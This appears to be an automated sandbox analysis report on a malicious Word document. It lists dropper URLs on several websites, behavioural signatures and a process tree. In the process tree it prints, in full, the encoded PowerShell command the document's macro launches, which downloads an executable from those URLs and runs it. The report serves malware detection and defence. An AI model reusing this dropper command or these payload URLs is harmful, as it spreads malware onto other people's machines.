Analysis
- max time kernel
125s - max time network
126s - platform
windows10-2004_x64 - resource
win10v2004-20240611-en - resource tags
- submitted
14/06/2024, 02:50
General
- Target a7c2e1837449a75109f8edc62e747f79_JaffaCakes118.doc
- Size 201KB
- Sample240614-dbz4waseqa
- SHA256 c91cbc00c0607288402c33f4fea083a0a6bc5927c8f54fe452b5bcf2095ed6a2
Malware Config
Extracted
-
ps1
-
exe.dropper
http://cahayu.id/wp-includes/jSi7Fd1r2wtg64969/
-
exe.dropper
https://anhung1102.vn/wp-admin/LtirUcNdN/
-
exe.dropper
https://idan-online.co.il/wp-admin/PPf124q2l26832/
-
exe.dropper
http://www.canfrec.com.mx/4swBvrmkkp/VqcoomQpd/
-
exe.dropper
http://dhartiproject.mysquare.in/temp/ZJd8p5u49737132/
-
exe.dropper
https://lokeshullamkecskemet.hu/mail/Jnilw/
-
exe.dropper
http://armonimalatya.com/dermatomic/77qo1g74024/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 2 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a7c2e1837449a75109f8edc62e747f79_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABaAG4AZgA3AG4AYgBrAD0AKAAnAEQAZwA1ACcAKwAnAHUAJwArACcAaQBkADYAJwApADsAJgAoACcAbgBlAHcALQBpAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQARQBOAHYAOgB0AEUAbQBQAFwATwBGAEYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBDAHQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAGMAdQByAEkAVAB5AGAAUAByAGAAbwBUAE8AYwBvAGwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAMQAyACwAIAB0ACcAKwAnAGwAcwAxADEALAAgAHQAbAAnACsAJwBzACcAKQA7ACQAUABnAGIAdQB1AHkAcQAgAD0AIAAoACcAUgA1ACcAKwAnAG0AcwBwAHoAbQAnACkAOwAkAEEAMAB2ADcAawBzAGwAPQAoACcARgAnACsAJwBrAHYAYQBkACcAKwAnADIAdgAnACkAOwAkAFYAaABkAGYAZABuAF8APQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAHsAMAB9ACcAKwAnAE8AZgBmAGkAJwArACcAYwBlADIAMAAxADkAewAwAH0AJwApAC0ARgBbAGMAaABBAHIAXQA5ADIAKQArACQAUABnAGIAdQB1AHkAcQArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAWAA0AGEAOQB1AHAAXwA9ACgAJwBJAHYAJwArACcANwAyAGwAMAAyACcAKQA7ACQAUwBqADQAZwB6AHQANQA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBFAHQALgBXAEUAQgBjAGwASQBlAG4AVAA7ACQAUwBhAGcAZwBjAG0AYgA9ACgAJwBoAHQAJwArACcAdAAnACsAJwBwADoALwAvAGMAYQBoAGEAeQAnACsAJwB1AC4AaQBkAC8AdwBwAC0AaQBuAGMAbAAnACsAJwB1ACcAKwAnAGQAZQBzAC8AagBTAGkANwBGAGQAMQByADIAJwArACcAdwB0AGcANgAnACsAJwA0ADkANgA5AC8AKgBoAHQAJwArACcAdABwAHMAOgAvAC8AJwArACcAYQBuAGgAJwArACcAdQBuAGcAJwArACcAMQAxACcAKwAnADAAMgAuAHYAbgAvAHcAJwArACcAcAAtAGEAZABtAGkAbgAvAEwAdABpAHIAVQBjACcAKwAnAE4AZABOAC8AKgBoACcAKwAnAHQAdABwAHMAOgAvAC8AaQBkACcAKwAnAGEAbgAtAG8AbgAnACsAJwBsAGkAbgAnACsAJwBlAC4AYwBvAC4AaQBsAC8AdwBwAC0AYQBkAG0AJwArACcAaQBuAC8AJwArACcAUABQAGYAMQAyADQAcQAyAGwAMgA2ADgAMwAnACsAJwAyAC8AKgBoAHQAJwArACcAdABwADoALwAvAHcAdwB3AC4AJwArACcAYwBhAG4AZgByAGUAYwAuAGMAbwBtACcAKwAnAC4AJwArACcAbQB4AC8ANABzAHcAQgB2AHIAbQBrAGsAcAAnACsAJwAvAFYAcQBjAG8AbwBtAFEAcABkAC8AKgBoACcAKwAnAHQAdAAnACsAJwBwADoALwAnACsAJwAvACcAKwAnAGQAaABhAHIAdABpAHAAcgBvAGoAZQBjAHQALgBtAHkAJwArACcAcwAnACsAJwBxAHUAYQByAGUALgAnACsAJwBpAG4ALwB0ACcAKwAnAGUAbQBwAC8AWgBKAGQAOABwADUAdQA0ADkANwAzADcAMQAnACsAJwAzADIALwAnACsAJwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAcwA6AC8AJwArACcALwBsAG8AawBlAHMAaAAnACsAJwB1AGwAJwArACcAbABhACcAKwAnAG0AawAnACsAJwBlAGMAJwArACcAcwAnACsAJwBrAGUAbQBlAHQALgBoAHUALwBtACcAKwAnAGEAaQAnACsAJwBsAC8ASgBuAGkAbAB3AC8AKgBoACcAKwAnAHQAJwArACcAdAAnACsAJwBwADoAJwArACcALwAvAGEAcgBtACcAKwAnAG8AJwArACcAbgBpAG0AJwArACcAYQAnACsAJwBsAGEAJwArACcAdAB5AGEALgBjACcAKwAnAG8AbQAnACsAJwAvAGQAZQByACcAKwAnAG0AYQB0AG8AJwArACcAbQBpAGMALwA3ACcAKwAnADcAcQAnACsAJwBvACcAKwAnADEAZwA3ADQAMAAyADQAJwArACcALwAnACkALgAiAFMAUABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQQA0ADYAcAByAHAAXwA9ACgAJwBXAG4AbgA5ACcAKwAnAHQAJwArACcANQBvACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEMAeQBxAHUAbwBpAHcAIABpAG4AIAAkAFMAYQBnAGcAYwBtAGIAKQB7AHQAcgB5AHsAJABTAGoANABnAHoAdAA1AC4AIgBkAE8AdwBgAE4AbABvAGEARABgAEYAaQBsAGUAIgAoACQAQwB5AHEAdQBvAGkAdwAsACAAJABWAGgAZABmAGQAbgBfACkAOwAkAEcAdQB1AHgAeQBwADQAPQAoACcAWgAnACsAJwBiAHQAMQB4AHUAJwArACcAZQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAVgBoAGQAZgBkAG4AXwApAC4AIgBsAEUAbgBgAEcAVABoACIAIAAtAGcAZQAgADIANQAwADEAMQApACAAewAuACgAJwBJAG4AJwArACcAdgBvAGsAZQAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACgAJABWAGgAZABmAGQAbgBfACkAOwAkAEgAXwBsADgAZwBsAHMAPQAoACcASgAnACsAJwBjAGcAYwBiAF8AcwAnACkAOwBiAHIAZQBhAGsAOwAkAFkAcgAyAG8AZQB4AHgAPQAoACcARgBxAHAANwBqAGEAJwArACcAbAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAcABqADYAYwBhAGQAPQAoACcAQgA1AGsAJwArACcAbQB3AHUAOQAnACkA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4112,i,11751898164297348119,13021661521765644467,262144 --variations-seed-version --mojo-platform-channel-handle=3580 /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
gb.xsl
__PSScriptPolicyTest_ici4wbae.z3h.ps1
memory/4016-68-0x00007FFB2CC10000-0x00007FFB2CE05000-memory.dmp
memory/4016-564-0x00007FFB2CC10000-0x00007FFB2CE05000-memory.dmp
memory/4016-561-0x00007FFB2CC10000-0x00007FFB2CE05000-memory.dmp
memory/4016-74-0x000001A883380000-0x000001A8833A2000-memory.dmp
memory/4348-9-0x00007FFB2CC10000-0x00007FFB2CE05000-memory.dmp
memory/4348-12-0x00007FFB2CC10000-0x00007FFB2CE05000-memory.dmp
memory/4348-8-0x00007FFB2CC10000-0x00007FFB2CE05000-memory.dmp
memory/4348-0-0x00007FFAECC90000-0x00007FFAECCA0000-memory.dmp
memory/4348-10-0x00007FFB2CC10000-0x00007FFB2CE05000-memory.dmp
memory/4348-11-0x00007FFAEA700000-0x00007FFAEA710000-memory.dmp
memory/4348-13-0x00007FFB2CC10000-0x00007FFB2CE05000-memory.dmp
memory/4348-14-0x00007FFB2CC10000-0x00007FFB2CE05000-memory.dmp
memory/4348-16-0x00007FFB2CC10000-0x00007FFB2CE05000-memory.dmp
memory/4348-17-0x00007FFB2CC10000-0x00007FFB2CE05000-memory.dmp
memory/4348-20-0x00007FFB2CC10000-0x00007FFB2CE05000-memory.dmp
memory/4348-21-0x00007FFB2CC10000-0x00007FFB2CE05000-memory.dmp
memory/4348-19-0x00007FFB2CC10000-0x00007FFB2CE05000-memory.dmp
memory/4348-18-0x00007FFAEA700000-0x00007FFAEA710000-memory.dmp
memory/4348-15-0x00007FFB2CC10000-0x00007FFB2CE05000-memory.dmp
memory/4348-6-0x00007FFB2CC10000-0x00007FFB2CE05000-memory.dmp
memory/4348-33-0x00007FFB2CC10000-0x00007FFB2CE05000-memory.dmp
memory/4348-34-0x00007FFB2CC10000-0x00007FFB2CE05000-memory.dmp
memory/4348-7-0x00007FFAECC90000-0x00007FFAECCA0000-memory.dmp
memory/4348-5-0x00007FFB2CC10000-0x00007FFB2CE05000-memory.dmp
memory/4348-4-0x00007FFAECC90000-0x00007FFAECCA0000-memory.dmp
memory/4348-1-0x00007FFAECC90000-0x00007FFAECCA0000-memory.dmp
memory/4348-549-0x00007FFB2CC10000-0x00007FFB2CE05000-memory.dmp
memory/4348-559-0x00007FFB2CC10000-0x00007FFB2CE05000-memory.dmp
memory/4348-560-0x00007FFB2CC10000-0x00007FFB2CE05000-memory.dmp
memory/4348-3-0x00007FFB2CCAD000-0x00007FFB2CCAE000-memory.dmp
memory/4348-2-0x00007FFAECC90000-0x00007FFAECCA0000-memory.dmp
memory/4348-584-0x00007FFAECC90000-0x00007FFAECCA0000-memory.dmp
memory/4348-585-0x00007FFAECC90000-0x00007FFAECCA0000-memory.dmp
memory/4348-583-0x00007FFAECC90000-0x00007FFAECCA0000-memory.dmp
memory/4348-586-0x00007FFAECC90000-0x00007FFAECCA0000-memory.dmp
memory/4348-587-0x00007FFB2CC10000-0x00007FFB2CE05000-memory.dmp